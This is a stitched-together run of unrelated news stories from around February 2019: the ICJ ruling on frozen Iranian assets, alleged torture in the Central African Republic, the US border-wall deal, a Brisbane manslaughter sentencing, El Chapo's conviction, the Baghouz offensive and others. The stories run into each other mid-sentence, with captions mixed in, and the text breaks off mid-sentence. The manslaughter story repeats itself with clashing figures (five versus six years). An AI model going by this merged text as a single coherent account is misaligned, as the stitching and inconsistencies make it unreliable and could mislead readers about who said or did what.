One Republican proposal unveiled last year would allow new parents to receive paid leave through Social Security. However, it would mean delaying their Social Security benefits once they reach retirement age.The International Court of Justice will on Wednesday give its decision on a bid by Iran to recover $2 billion in frozen assets that the United States says must be paid to victims of attacks blamed on Tehran. The case threatens to cause further bad blood after a decision in October when the Hague-based tribunal ordered Washington to lift nuclear-related sanctions on humanitarian goods for Iran. Tensions between Tehran and Washington are already high around the 40th anniversary of the Iranian revolution and a Middle East meeting in Warsaw where the United States aims to pile pressure on Iran. The US Supreme Court ruled in 2016 that Iran must give the cash to survivors and relatives of victims of attacks blamed on Tehran, including the 1983 bombing of a US Marine barracks in Beirut. Iran said the US decision to freeze the funds breached 1955 Treaty of Amity with the United States, an agreement signed before Iran's 1979 Islamic Revolution severed relations between the countries. The United States announced after the sanctions case that it was immediately pulling out of the Treaty of Amity. At the last hearing on Iran's funds appeal in October at the Hague-based tribunal, Washington said Iran has "unclean hands" and that its alleged support for terrorism should disqualify the case from being heard. The court will now rule on the "preliminary objections" of the United States to Iran's case, it said in a statement. The ICJ is the top court of the United Nations and was set up after World War II to resolve disputes between member states. Its rulings are binding and cannot be appealed, but it has no means of enforcing them. - 'Bad faith' - Relations between Washington and Tehran have been strained since US President Donald Trump's decision last year to pull out of a "terrible" international nuclear deal with Iran and reimpose sanctions. The 2015 nuclear deal had unblocked billions of dollars in other Iranian funds. In Poland this week, Secretary of State Mike Pompeo will use a two-day conference of foreign ministers to try to rally the world behind increasing pressure on Iran and supporting Israel, although turnout could be thin. The Trump administration has also found itself at odds with its European allies over the nuclear deal, with EU powers launching a mechanism to bypass sanctions. But with Iran's clerical regime facing economic difficulties the case on the frozen funds remains crucial. Iran first lodged the lawsuit in June 2016, accusing Washington of breaking the decades-old amity treaty dating from the time of the Shah, who was deposed in the revolution. Tehran said the United States had illegally seized Iranian financial assets and those of Iranian companies. However in October, Richard Visek, a US State Department legal official, told the ICJ that "Iran comes to the court with unclean hands -- indeed, it is a remarkable show of bad faith. "The actions at the root of this case centre on Iran's support for international terrorism... Iran's bad acts include supports for terrorist bombings, assassinations, kidnappings and airline hijackings," he said at the time. Pompeo had added in October the time that "we owe it to our fallen heroes, their families, and the victims of Iran?s terrorist activities to vigorously defend against the Iranian regime's meritless claims... in The Hague". The US Supreme Court ruled in April 2016 that the $2 billion in frozen Iranian assets should be paid to about 1,000 survivors and relatives of those killed in attacks blamed on the Islamic Republic. As well as the Beirut Marine barracks attack, in which 241 soldiers were killed, these also included the 1996 Khobar Towers bombing in Saudi Arabia. Relations have also been strained since US President Donald Trump's decision to pull out of an international nuclear deal with Iran and reimpose sanctionsThe United Nations has asked authorities in the Central African Republic to take action after Russian soldiers or mercenaries were accused of detaining and torturing a man for five days, a spokeswoman said Wednesday. The victim, Mahamat Nour Mamadou, told UN investigators that he was held by a group of Russians in the central city of Bambari last month on suspicion of belonging to an armed militia. He said he was severely beaten and had a finger cut off. The UN mission in the Central African Republic investigated the case and produced a detailed report that was seen by AFP. "Based on statements and physical evidence, the UN mission can confirm that the victim has been ill-treated and tortured," said UN spokeswoman Vannina Maestracci. "The mission has informed officially the relevant Central African authorities and shared all supporting documents requesting follow-up action," she added. The United Nations does not have authority to arrest individuals in a country where it has peacekeepers and has turned to Bangui to ensure the perpetrators of the serious crime are held responsible. In an interview with AFP in the capital Bangui on Tuesday, Mahamat Nour Mamadou -- who said he was a market trader -- described the ordeal and said he feared for his life. "They tortured me from 8am to 5pm. They hit me with chains, iron batons, they cut me in the foot with a knife, and also on the arms and the shoulder. They broke a tooth with a brick," Mamadou said. - 'Cut off my finger' - Mamadou said he was detained on January 11 by soldiers of the Central African Armed Forces (FACA) after a crowd falsely accused him of belonging to the Seleka militia -- a mainly Muslim rebel movement which rose up in 2012 in the north of the country. "They took me to the town hall where the FACA and the Russians are based. The Russians questioned me, they asked me if I was a Seleka, if I had weapons," he said. In 2013, the Seleka overthrew President Francois Bozize, a Christian, plunging the country into crisis before the group was forced from power. "They tied my hands and covered my head with a jacket, they punched me. They tied me up during the night. Then they took me to their base," said Mamadou. "They took a big knife and cut off my finger. They slashed my other fingers too, then they strangled me with a chain," he said, adding that there was one FACA interpreter and several Russians. Mamadou was released on January 15 after internal security forces intervened, according to the UN. It remained unclear if the Russians were part of the private military outfit Wagner, with the UN describing the suspected torturers as "non-UN uniformed individuals of Russian nationality." Russia's influence in CAR has been growing since the UN-backed government there called for help to fight militias rampaging through the country. Moscow has already supplied weapons, military officers, at least 170 military "trainers" and a security adviser to work with President Faustin-Archange Touadera. Central African Republic President Faustin-Archange Touadera has reached out to Russia to help shore up his forces battling armed militias across the countryPresident Donald Trump indicated Tuesday that he will walk back his threat to shut the government even if he does not get all the money he has demanded for building a wall along the US-Mexican border. Although Trump left enough wiggle room to keep the country guessing, he appeared to be edging toward accepting a deal struck in Congress that would give him significantly less money for the much-maligned barrier. "I can't say I'm happy, I can't say I'm thrilled," Trump said. But he also told a cabinet meeting in the White House: "I don't think you're going to see a shutdown." He was responding to a deal struck by Republican and Democratic lawmakers to offer nearly $1.4 billion for wall construction, as well as other border security measures. This was far less than the $5.7 billion Trump wanted, but it was presented as a workable deal to satisfy both sides and allow Trump to shelve his threat to shut down large portions of the government on Friday. Trump said he would manage to "add" to the congressional funds, though he did not explain how. Lawmakers, including from his own Republican Party, pressured Trump to take what was on the table. Senator Richard Shelby, the top Republican negotiator, called it "a pretty good deal." Late Tuesday, Trump tweeted to thank Republicans for their work "dealing with the Radical Left on Border Security." "Not an easy task, but the Wall is being built and will be a great achievement and contributor toward life and safety within our Country!," he said. Democratic Senator Patrick Leahy said the compromise would be voted on and likely passed, ready for Trump's signature. "The deal is the way it's going to be written, and it will be filed, I suspect, tomorrow night," he said. - Border dispute - The funds would finance 55 miles (88.5 kilometers) of new walls along the border. Hundreds of miles of barriers already run along the US-Mexican border, but Trump says far more are needed to bring what he often calls an "invasion" of migrant criminals under control. Democrats say Trump vastly exaggerates the crime problem and uses the issue to whip up his right-wing voter base. In December, Trump tried to pressure Congress into approving the $5.7 billion by refusing to sign off on funding large parts of government that have nothing to do with the wall, putting 800,000 jobs, from FBI agents to airport security, on hold for five weeks. The Democrats refused to budge and Trump was forced into an embarrassing retreat, allowing new negotiations to open with a new deadline of this Friday. This time, Republicans appear desperate to avoid a second shutdown, leaving Trump with less political cover. Republican Senate Majority Leader Mitch McConnell said the compromise deal was "certainly good news." "Looking over all aspects knowing that this will be hooked up with lots of money from other sources," Trump tweeted about the deal. "Will be getting almost $23 BILLION for Border Security. Regardless of Wall money, it is being built as we speak!" he added, without providing further explanation about his figures. - Election ploy - Although there's little doubt that organized Mexican drug crime and people smugglers present a threat along the US border, Trump's fixation on wall building has polarized Americans to the point where the left and right can barely discuss the issue. For Trump, chants of "build the wall" were crucial to his surprise 2016 election victory. At a rally in El Paso, Texas, on Monday he introduced a new slogan for his coming 2020 re-election bid: "Finish the wall." The thousands of devoted Trump fans, many of them wearing his red "Make America great again" campaign hats, cheered at the dire warnings about Mexican criminals and calls for bigger and longer walls. "Walls save lives, walls save tremendous numbers of lives," Trump told them. There was a counter-message a short distance from where Trump spoke when rising Democratic star Beto O'Rourke -- a possible challenger in 2020 -- held his own rally. A former congressman who excited grassroots Democrats in November with an against-the-odds near upset of Republican Senator Ted Cruz, O'Rourke is from El Paso. "Tonight, we will meet lies and hate with the truth and a positive, inclusive, ambitious vision for the future from the US-Mexico border," he said. Trump dismissed O'Rourke as "a young man who's got very little going for himself except he's got a great first name." Making fun of what he said was O'Rourke's much smaller crowd, Trump said: "That may be the end of his presidential bid." US President Donald Trump is mulling a deal reached in Congress to resolve the long-running row over funding for US-Mexico border wall construction US workers build the border wall between El Paso, Texas and Ciudad Juarez, Mexico on February 5, 2019 Trump says he wasn't "happy" with a preliminary deal by US lawmakers to provide only a fraction of the funding he sought for a border wall with Mexico Trump supporters cheer during a rally in El Paso, Texas on February 11, 2019 Anti-Trump activists protest during the president's rally in El Paso, TexasIt took just 10 seconds for Morgan Alexander Isles-English to end his estranged fathers life with a single blow to the head.

With time served in pre-sentence custody, Isles-English, 27, will now spend at least the next five years in prison.

As she sentenced him on Wednesday, Justice Soraya Ryan said the troubled son didnt mean to kill his father, Mark English, in July 2016.

It not suggested the punch itself involved particular force but it caused the deceased to fall backwards and his head landed on the concrete, she told the Brisbane Supreme Court.

Mr English died in hospital three days later devastating his wife, Varri Telfer, who witnessed the blow, Justice Ryan said.

Varri Tefler spoke of her heartbreak following her husbands death. Source: AAP

In her statement she speaks of her love for the deceased and how devastated and hopeless she feels after his death, she said.

Without his financial support she became homeless and she will forever be haunted of her memory of July 4, 2016.

Isles-English was sentenced to a maximum eight years in prison for a string offences, including unlawful striking causing the death.

Justice Ryan said her sentence took into account Isles-Englishs poor relationship with his father, that he was remorseful and the blow wasnt particularly severe.

It took just 10 seconds for Morgan Alexander Isles-English to end his fathers life with a single blow to the head in 2016.

With time served, Isles-English will spend at least the next six years in prison before being eligible for parole after he was sentenced to eight years for a string of offences, including the unlawful killing of Mark English in Brisbane.

Your punch was thrown though after you spoke to him aggressively and after he had apparently not recognised you, Justice Soraya Ryan said in the Supreme Court on Wednesday.

Do you have a story tip? Email: y7newsroom@yahoo7.com.au.

You can also follow us on Facebook and Twitter and stay up to date with the latest news with Yahoo7s daily newsletter. Sign up here.A 17-year-old boy has been rescued from an otherwise deserted house where he had allegedly been kept locked up by his allegedly disturbed mother for the last 10 years.

Mohammad Rajab , who had long, straggly hair and an unkempt beard, was found sitting naked on the muddy floor inside the building.

Police who found the teenager locked in a building in a small village, in the Gharbia Governate region of northern Egypt, said he was too frail to walk after his long confinement.

Mohammad was taken to a local hospital for medical and psychological examinations. He was also given a wheelchair to help him get around.

A 17-year-old boy Mohammad Rajab (right) has been rescued from a deserted house where he had allegedly been locked up by his mother (left) for the last 10 years. Source: Australscope

Police raided the building and rescued the teenager after they were tipped off by the government-run agency Children Without Shelter.

Agency executive Hind Najubi said it had contacted police after a number of people in the village contacted them to say the boy had been confined in the dark and deserted house for years.

We were stunned the house looked like a grave and a bad smell came out of it, Ms Najubi said.

The boys mother, Aziza Al Qalamy, allegedly claimed the boy suffered from psychological problems however his rescuers said he appeared bright and alert.

The teen was allegedly held captive in the Gharbia Governate region of northern Egypt for the past ten years. Source: Getty (file image)

Ms Al Qalamy was held for two days in police custody and is now herself undergoing psychological tests. It is not yet clear whether she will face charges.

Neighbours in the village, which lies 120 kilometres north of the capital city of Cairo, claim the woman kept the boy locked up since his father died about 10 years ago.

One of the boys paternal uncles, named only as Yasser, told local media that he and other family members had repeatedly tried to see Mohammad but his mother had always blocked them.

Yasser added that Mohammad had been normal as a little boy but his long confinement appeared to have affected him.

With Australscope.

Do you have a story tip? Email: y7newsroom@yahoo7.com.au.

You can also follow us on Facebook and Twitter and stay up to date with the latest news with Yahoo7s daily newsletter. Sign up here.A Sudanese refugee held in one of Australia's offshore migrant detention sites for six years was on Wednesday awarded the world's most prestigious human rights prize. Abdul Aziz Muhamat, 26, was hailed by the Martin Ennals Award organisers for his "extraordinary tenacity and courage" in protesting the Australian government's "inhumane practices". For years Canberra has sent asylum-seekers who try to enter the country by boat to Manus Island or Nauru in the Pacific for processing, with those found to be refugees barred from resettling in Australia. The harsh policy is meant to deter people embarking on treacherous sea journeys, but the United Nations and rights groups have harshly criticised the camps' conditions and long detention periods. "The conditions that we are living there are absolutely indescribable, ... inhumane and cruel," Muhamat told reporters in Geneva ahead of Wednesday's award ceremony. "We have been treated very badly, (worse) than an animal," he said, pointing out that refugee residents of the camps are referred to only with a number. "My number is QNK002, that's how I'm known to the system." Muhamat described how he fled the violence in Darfur, first to Khartoum and later making his way to Indonesia. He said he attempted three times to reach Australia by boat, losing five of his closest friends en route. Then, in 2013, Australian authorities intercepted the boat he was on and forcibly transferred him to Manus, where he has been held ever since with hundreds of other men. - Deprivation and violence - "He never stopped raising his voice for those who have been stripped of their most basic rights together with him," Dick Oosting, chair of the Martin Ennals Foundation said in a statement. He said he had been permitted to leave after being granted a Swiss visa to attend the Martin Ennals awards ceremony, but that he hoped to return to the island to continue his advocacy there. He described a situation of deprivation, harassment, humiliation and violence, pointing out that the camp is staffed by former military men and mercenaries who bark orders at the detainees and only give them food through a chain-link fence. Twelve people have died so far in the camps on Manus and Nauru, including one man who was beaten to death, several suicides and people who died due to lacking medical treatment, he said. Jury member Philip Lynch, who heads the International Service for Human Rights (ISHR) organisation, told reporters the decision to hand the prize to Muhamat was "significant", and that he hoped it would help put pressure on Australia to halt the practice of offshore detention. "It is the first time in the history of the award that it is being conferred upon someone who is advocating in relation to rights violation perpetrated by a Western liberal democracy," he said. The two other finalists for this year's prize were also honoured at Wednesday's ceremony. Marino Cordoba Berrio was hailed for his decades of campaigning against the illegal logging and mining of his Afro-Colombian community's land in the Pacific region of Colombia. Turkish human rights activist Eren Keskin was meanwhile recognised for speaking out for decades against sexual violence and torture, as well as for Kurdish, women and LGBTI rights. She had to appear via video link at the ceremony since she has been barred from leaving Turkey. The Martin Ennals foundation is named after the first secretary general of Amnesty International and the 30,000 Swiss franc ($30,000, 26,000 euros) prize is judged by the London-based rights group, along with Human Rights Watch and other leading organisations. The other finalists were awarded 10,000 Swiss francs each from the foundation. A view of the cluster of corrugated iron huts that make up Australia's Camp Four for refugees on the Pacific island of Nauru Protesters chant in Sydney in November 2017 call on the government to bring back 600 refugees from the Manus Island refugee camp "The conditions that we are living there are ... inhumane and cruel," said Sudanese refugee activist Abdul Aziz, here in a handout photo from the Martin Ennals Foundation This November 2017 picture released by the Australian activist group GetUp shows asylum seekers (R) at Australia's Manus Island regional refugee processing centre in Papua New GuineaAvoiding a broker by finding a no-fee rental has long been the holy grail of New York City apartment hunting. Now, the City Council is weighing a plan to reduce the often burdensome and upfront costs faced by renters.

On Wednesday, Manhattan Councilmembers Keith Powers and Carlina Rivera are set to introduce five bills that would rein in brokers fees and security deposits and which they estimate would save renters thousands of dollars. Both said the legislation is designed to even the playing field for lower-income renters; since brokers fees are negotiable, it often hands an advantage to those who are more savvy about the market.

Under the slate of proposals, the broker fee on an apartment  which currently ranges between 12 to 15 percent of the total annual rent  would be limited to a maximum of one months rent. The bills would also require brokers to provide renters with a breakdown of what the fee is being used for.

Similarly, security deposits would also be capped to one months rent, which is currently the rule for rent-stabilized units. The legislation would also allow renters to smooth out the payments over time, paying in installments of six months for longer leases and one month for leases shorter than six months.

The bills would also require landlords to return security deposits to renters within 60 days of the end of the lease.

A 2017 study by the NYC Comptroller's Office found that New Yorkers spent $507 million on security deposits in 2016. Moreover, low-wage renters considered high-risk faced security deposit charges two or three times higher. Cities like DC and Seattle have also limited security deposits as well as other states.

"Its not news that New York City is one the most expensive places to live in the country. But there is something we can do about it, Councilmember Powers said in a statement. With this legislation, New Yorkers will not only be able to make more informed housing decisions, but tenantsparticularly young and low-income tenantswill no longer have to pay thousands and thousands of dollars to build a home here.

Unsurprisingly, the Real Estate Board of New York (REBNY), the powerful industry lobbying group, has criticized the legislation as hurting the wages of those who work in the real estate industry.

Real-estate agents rely on commissions to feed their families, they offer a valuable service for both renters and owners, John Banks, REBNY's president told the Wall Street Journal in a statement. The decision to use a real-estate agent is optional and the fees are negotiable.

Washington's new acting defence chief took part in his first NATO gathering Wednesday meeting allies unsure about his interim status and wary after recent spats with his boss President Donald Trump. Former Boeing executive Patrick Shanahan took over at the Pentagon after serving as deputy, thrust onto the world stage when his predecessor Jim Mattis quit after long-running disagreements with Trump. His first appearance for the cameras at NATO headquarters in Brussels, a routine "grip and grin" handshake with alliance Secretary General Jens Stoltenberg, drew unusual interest, with Shanahan's every word and gesture picked over for meaning. "It's a pleasure to be over to spend time with you and especially in a such a nice facility," said Shanahan, after a tour that has taken in Kabul and Baghdad as well as Brussels in just a few days. "One of the other things that I am looking forward to during the time that we are together is to talk about the future of NATO, the capabilities that we can further develop." With nerves still jangling in Europe after July's tumultuous summit, when Trump reportedly threatened to "go it alone" unless allies boosted their defence spending, Shanahan's reference to "the future of NATO" sent some journalists into a spin. "Really? They want to start dismantling NATO?" exclaimed one. US officials said Shanahan was simply referring to upcoming NATO initiatives to fight terrorism and emerging threats to alliance security, which will be discussed at a leaders' meeting in London in December. At his press conference later in the day, Stoltenberg said Shanahan was "very well received by all allies". "It was a very strong and a very clear message about the US ironclad commitment to NATO... also the very strong personal commitment he has to NATO," Stoltenberg said. - European doubts - Mattis was highly regarded in NATO and in the run-up to his departure there was anxious talk in Europe about what might happen if he quit. Former NATO secretary general Jaap de Hoop Scheffer described Mattis as "one of the last men standing" in a Washington increasingly dominated by Trump's "America first" ideology. A diplomat from a European country said they would be "listening carefully" to Shanahan to see if he would follow in the footsteps of Mattis or toe the president's line. Former Marine general Mattis quit after clashing with Trump over the president's abrupt decision to pull US forces out of Syria, and referred to NATO twice in his resignation letter. "Our strength as a nation is inextricably linked to the strength of our unique and comprehensive system of alliances and partnerships," he wrote. "NATO's 29 democracies demonstrated that strength in their commitment to fighting alongside us following the 9-11 attack on America." NATO insists Washington's commitment to the alliance is not in doubt, pointing to increased US investments of troops and resources in Europe. But European doubts linger about Trump's commitment to alliances generally and NATO in particular -- fuelled by a recent New York Times article suggesting the president has repeatedly told aides he does not see the point of NATO and thinks the US should withdraw. "We don't know if Shanahan will become the new defence secretary or if he will follow Mattis's approach," said the European diplomat. Another said: "I hear he is very close to Mattis and said he will follow this basic path. On the other hand, he has to look at the president." Former Boeing executive Patrick Shanahan took over at the Pentagon after serving as deputy, thrust onto the world stage when his predecessor Jim Mattis quit after disagreements with Trump European doubts linger about Trump's commitment to alliances generally and NATO in particularMexican mobster Joaquin "El Chapo" Guzman was convicted Tuesday of crimes spanning a quarter-century in a trial that laid bare his lavish lifestyle and penchant for extreme violence as the head of one of the world's most powerful gangs. The 61-year-old former boss of the notorious Sinaloa cartel -- famed for his brazen escapes from Mexican prisons -- faces life in prison for smuggling tons of cocaine, heroin, methamphetamine and marijuana into the United States. He was also found guilty on money laundering and weapons possession charges during a three-month trial in which witnesses described the mob boss beating, shooting and even burying alive those who got in his way. "The verdict was a tremendous victory for the rule of law, for Mexico, the United States and other countries that have been victims of the Sinaloa cartel," Mike Vigil, former head of international operations for the US Drug Enforcement Administration, told AFP. "Chapo Guzman was the world's greatest drug lord of all time," Vigil added. "He surpassed other drug lords, including Pablo Escobar." In a statement, acting US Attorney General Matthew Whitaker said the case "demonstrated the extraordinary reach of the U.S. government, our tenacity and commitment to pursuing kingpins like Guzman." In a three-month trial that unfolded like a real-life telenovela, Guzman's ex-henchmen and a former mistress took the stand under the gaze of the stocky gangster, whose nickname is Spanish slang for "shorty." His young wife, onetime beauty queen Emma Coronel, showed up almost every day in court to be with her husband. After sentencing on June 25, Guzman is likely to be transferred to a so-called "supermax" prison in Colorado, sometimes called the "Alcatraz of the Rockies" and considered one of the most secure in the US. His conviction is seen as a big win for the US, which failed to obtain the extradition of Escobar, the Colombian drug lord who was killed in a police operation in 1993. Guzman's lawyer Bill Purpura said his client had expected the verdict but was a "guy who never gives up" and had vowed to appeal. Another attorney for Guzman, Eduardo Balarezo, tweeted his client's conviction "will change nothing." "El Chapo was arrested in 2014. The war on drugs is a complete failure," he said. - Ultra violence - During the trial, the government presented 56 witnesses and troves of incriminating material, including intercepted calls between Guzman and his associates, and conversations taped secretly by informants. Some of the most eye-watering testimony came from a former hitman who offered gruesome details about acts of torture and killings of rivals personally carried out by his then boss. Isaias Valdez Rios told the court he saw Guzman leave one captive -- a rival from the Arellano Felix cartel -- in a chicken coop for two days. After two interrogations, Guzman shot the man, before ordering him buried alive. On another occasion, the court heard, Guzman beat two members of the Zetas cartel with a thick tree branch until their bones were broken before shooting them dead. Guzman was not on trial for murder, but federal prosecutors attempted to depict him as a violent and ruthless man, ready to do anything to protect his business. Former employees testified that the cartel paid bribes of millions of dollars at the highest levels of government, including to former President Enrique Pena Nieto, who denies the allegation. The trial also offered a glimpse at the opulent lifestyle led by Guzman, who grew up in poverty. His ex-pilot and former cartel manager for Mexico City testified that Guzman had four airplanes, numerous houses including a mansion in Acapulco, a yacht named "Chapito" and a ranch that included a zoo and a small railway. - 'Garbage' testimony - In his closing arguments late last month, another of Guzman's lawyers, Jeffrey Lichtman, asked the jury not to convict on the basis of the "garbage" testimony of government witnesses. Lichtman contended that Guzman was merely a "scapegoat," and that the real culprit in the drug trafficking operations was Ismael "El Mayo" Zambada, the co-founder of the Sinaloa cartel. "Mayo has been the largest narcotrafficker for decades in Mexico. He has never been arrested. He has paid hundreds of millions of dollars to stay free," Lichtman said. The government, meanwhile, appealed to the jury not to let Guzman "escape" -- an allusion to his two spectacular jail breaks in Mexico, the last in 2015 through a tunnel from a shower area in his cell. The defense called just one witness, an FBI agent put on the stand in an attempt to undermine the credibility of one of Guzman's cocaine suppliers who had testified against him. The defense's strategy centered on attacking the credibility of the cooperating witnesses -- former secretaries, pilots, cocaine suppliers, Guzman's top trafficker in the United States, a manager, an accountant, a former communications chief and a former lover. Most are serving prison sentences and hoped to have their penalties reduced in return for their cooperation with prosecutors. The verdict could result in life behind bars for Joaquin "El Chapo" Guzman, who was accused of smuggling tons of cocaine, heroin, methamphetamine and marijuana into the United States over a 25-year period The trial unfolded like a real-life telenovela, with Guzman's former beauty queen wife Emma Coronel in the audience and a parade of her husband's lovers and henchmen taking the witness stand under the gaze of the onetime Sinaloa cartel chief After sentencing, Guzman is likely to be transferred to a so-called "supermax" prison in Colorado Mexican drug lord, Joaquin "El Chapo" Guzman, convicted on drug smuggling charges on Tuesday.Israel has told the UN Security Council that it opposes a planned visit by the top UN body to the Palestinian territories for a close-up look at the situation, Kuwait's ambassador said Wednesday. Kuwait and other council members proposed the visit to the occupied territories during a meeting last week on Israel's decision to end the international observer force in the West Bank city of Hebron. During a closed-door meeting on Wednesday, the council president briefed members on talks held with Israel and the Palestinians on the proposal for a visit. "He said Israel categorically refused the council visit," Kuwait's Ambassador Mansour al-Otaibi told reporters after the meeting. "They don't want to receive a visit by the Security Council" even though they are prepared to welcome delegations from countries on the council, he added. "We expressed our regret that this visit will not take place because it has been raised many times by the council." The Israeli mission did not immediately respond to a request for comment. The visit would have come at a tumultuous time: Israel is headed for elections in April and the United States is reportedly putting the finishing touches to its much-awaited peace proposals. The Security Council has adopted several resolutions on the Israeli-Palestinian peace process that call for a two-state solution and holds monthly meetings on the conflict. Israel maintains that the UN body is biased in favor of the Palestinians. UN Secretary-General Antonio Guterres visited Israel and the Palestinian territories in August 2017 but the Security Council has never traveled on a mission to that region. In 1979, envoys from the top UN body went to Jordan, Syria, Lebanon and Egypt as part of a special mission. Over the past years, several proposals for a visit to Gaza and the occupied territories have been quashed by the United States, a veto-wielding member of the Security Council. The council later Wednesday travels to Guinea-Bissau and Ivory Coast and is planning a trip to Mali in March. Last year, it made a high-profile visit to Myanmar and Bangladesh to meet with Rohingya refugees. UN Secretary-General Antonio Guterres visited Gaza in August 2017 but several proposed Security Council visits to the Palestinians territories have been blockedAbdullah Ocalan, the jailed Kurdish militant leader labelled the "nemesis" of the Turkish state, remains a highly influential figure in the Kurdish movement despite being cut off from the outside world. Turkey captured Ocalan, then public enemy number one, on February 15, 1999 after a relentless hunt. He has been imprisoned on the heavily fortified island of Imrali in the Sea of Marmara for two decades and has not been allowed to see his lawyers since 2011. But while the government brands the burly 69-year-old a "baby-killer", to Kurds he is known as "Apo" or uncle. The pro-Kurdish Peoples' Democratic Party (HDP) say more than 300 detainees are on hunger strike to protest what they call Ocalan's isolation -- an indication of his continued importance for the movement. As he has not been seen or heard in public for years, the popular image of Ocalan remains that of a man with a round face and thick black moustache. But in photographs released a few years ago "we found that he had aged, his hair and moustache were white", one of Ocalan's lawyers, Ibrahim Bilmez, told AFP. "He has been in isolation at Imrali for 20 years, so it is normal that he is worn down," Bilmez added. - Student politics - Ocalan was born into a poor peasant family in the village of Omerli in Turkey's southeast. His official birthdate is April 4, 1949, but this may not be exact, says Aliza Marcus in the book "Blood and Belief: The PKK and the Kurdish Fight for Independence". He became a left-wing militant during his time at university in Ankara, where he studied politics and threw himself into the Kurdish cause, leading to his first incarceration of seven months in 1972. In 1978, Ocalan and a group of fellow students founded the Kurdistan Workers' Party (PKK), a Marxist-oriented movement fighting for Kurdish autonomy. Two years later he was in exile, most often in Damascus or Lebanon's Beqaa Valley which was then under Syrian control and where he set up the PKK's headquarters. Ankara branded Ocalan its "nemesis" after Ocalan led the movement on to a path of armed struggle in 1984, planning to carve out a chunk of Turkey to found an independent Kurdish state. Security forces hit back hard in response to PKK attacks, plunging Turkey's southeast into a state of near civil war. The group was blacklisted as a terrorist organisation by Ankara, the US and the EU. Ocalan's first call for a unilateral ceasefire came in 1993, then again in 1995 and 1998, each time seeking a political agreement with Ankara in return. But authorities said they refused to negotiate with the "terrorist chief" with blood on his hands. - Influence beyond Turkey - Ocalan's influence stretches beyond Turkish borders. His image can be widely seen in areas controlled by the Kurdish People's Protection Units (YPG) in northern Syria. Turkey says the US-backed YPG militia is a "terrorist" offshoot of the PKK. Syria's permission for Ocalan to seek refuge there caused major friction between Damascus and Ankara, and political pressure forced him out in 1998. He tried to seek political asylum across Europe, including in Greece, but in 1999 Turkish secret agents nabbed him in the Kenyan capital Nairobi outside the Greek embassy. He was swiftly sentenced to death for treason, which was commuted to life imprisonment when Turkey abolished capital punishment in 2002. With Ocalan in custody, Turkey believed the head of the PKK had been cut. But even behind bars, he continued to exert control over the movement by issuing instructions to his lawyers and the Kurdish MPs who visited him. Following Ocalan's arrest, the PKK had said it would strive only for cultural rights rather than an independent Kurdish state. It entered what proved to be its longest truce, which lasted until 2004. During that period, Turkey undertook some modest reforms for the Kurds. Then in 2012, it was once again Ocalan who ordered the end of a hunger strike by 700 detained Kurdish lawmakers. When Recep Tayyip Erdogan, then prime minister and now president, threatened -- on a wave of nationalist sentiment -- to bring back the death penalty for him, he was still seeking dialogue with Ocalan. In 2013, Ocalan called for another ceasefire to allow peace talks a chance to reach a negotiated settlement. Two years later however, the bloody clashes resumed. Today there appears little chance of a political solution to a conflict that has cost more than 40,000 lives. But "for a large majority of Kurds... (Ocalan) is the uncle who embodies the Kurdish nation in its totality" and he would be a key player if talks were to resume, said Hamit Bozarslan of the Paris-based School for Advanced Studies in the Social Sciences. PKK leader Abdullah Ocalan may have been stuck in a Turkish jail for 20 years but his influence remains significant Members and deputies of the pro-Kurdish Peoples' Democratic Party (HDP) have denounced the conditions in which Ocalan is being keptExhausted families trudged out of the Islamic State group's last bastion in eastern Syria Tuesday, as Kurdish-led forces boxed holdout jihadists into an ever-shrinking pocket. Hundreds fled at night but hundreds more during the day as plumes of grey smoke billowed into the sky over Baghouz, where diehard IS fighters are making their last stand. The extremist group declared a cross-border "caliphate" in Syria and Iraq in 2014, but various military campaigns have chipped it down to a fragment on the Iraqi border. After a pause of more than a week to allow out civilians, the Syrian Democratic Forces (SDF) declared a last push to retake the pocket from the extremists on Saturday. Aided by the warplanes and artillery of a US-led coalition, the Kurdish-led alliance has pressed into a patch of less than four square kilometres (one square mile). SDF spokesman Mustefa Bali said 600 civilians fled the combat zone at night and the Syrian Observatory for Human Rights said another 350 made it out during the day. The SDF have set up a pair of sand berms on a scrubby plateau overlooking Baghouz. Most of the neighbourhoods visible along the hazy horizon are under their control, but the southernmost parts of the town -- from which sounds of a firefight can be heard -- are still held by IS. Suddenly, black dots appeared on the dirt road that snakes across the plain from the ruins of the little town. - Russians and Ukrainians - The SDF watched them warily at first, but as the group of about 25 people got closer, members of the Free Burma Rangers volunteer medical group scrambled down the hill to meet them. There are no other NGOs or UN agencies at the site. Half a dozen among the new arrivals were adult men. The rest were young children with dirty hair and women panting heavily after their odyssey out of Baghouz. About half of them were Ukrainian or Russian women and their children, while most of the others were Syrian. A 34-year-old woman from Crimea tore pieces of bread to give her three children. She identified herself as Umm Khaled and said she came to Syria five years ago after divorcing her Tatar husband. Once there, she married an Azeri IS member and had two other children. "They are all fatherless now," she told AFP in broken Arabic, her voice shaking. Coalition spokesperson Sean Ryan said US-backed forces were facing a fierce fightback. "The progress is slow and methodical as the enemy is fully entrenched and IS fighters continue to conduct counter attacks," he said. "The coalition continues to strike at IS targets whenever available." - 'Six hours? In the cold?' - On Monday, the Observatory said a coalition air strike killed 16 civilians. An Italian journalist was also wounded as he covered the clashes and evacuated for treatment, a colleague said on Twitter. The SDF launched the battle to expel IS from the eastern province of Deir Ezzor in September, slowly tightening the noose around the jihadists and their families since December. In the past two months, more than 37,000 people, mostly wives and children of jihadist fighters, have fled into SDF-held areas, the Observatory says. That figure includes some 3,400 suspected jihadists detained by the SDF, according to the Britain-based monitor. At a gathering point for new arrivals, dozens of men knelt on the ground. Iraqi and Syrian women and children prepared to make the long journey north to a Kurdish-held camp for the displaced, after spending the night in tents. A very thin child with dark circles around his eyes stumbled onto a truck, as other children screamed out for water and their mothers asked how long the drive would take. "Six hours? In the cold?" shouted a wrinkled Iraqi woman. The SDF on Saturday said up to 600 jihadists could still be inside the pocket, adding their leader Abu Bakr al-Baghdadi was likely not there. At the height of their proto-state, Baghdadi's followers implemented their brutal implementation of Islamic law in an area the size of Britain. But various offensives, including by the SDF and Russia-backed regime forces, have taken back all but a speck of that territory near the village of Baghouz. Once the "caliphate" is declared over, the fight will continue to tackle IS sleeper cells, the SDF and their allies have said. US President Donald Trump on Monday said the coalition may declare victory over IS in the region within days. "Soon it will be announced, soon, maybe over the next week, maybe less," he told a rally in the US city of El Paso. Separately on Tuesday, the Syrian government and rebels exchanged prisoners in the country's north as part of a peace process brokered by Russia, Iran and Turkey, the Turkish government said. Women and children flee the Islamic State group's last pocket of territory in Syria in a truck Map showing territorial control in eastern Syria as US-backed Kurdish forces continue the final offensive on the last pocket of territory held by the Islamic State group. Women and children fleeing from the last Islamic State group's tiny 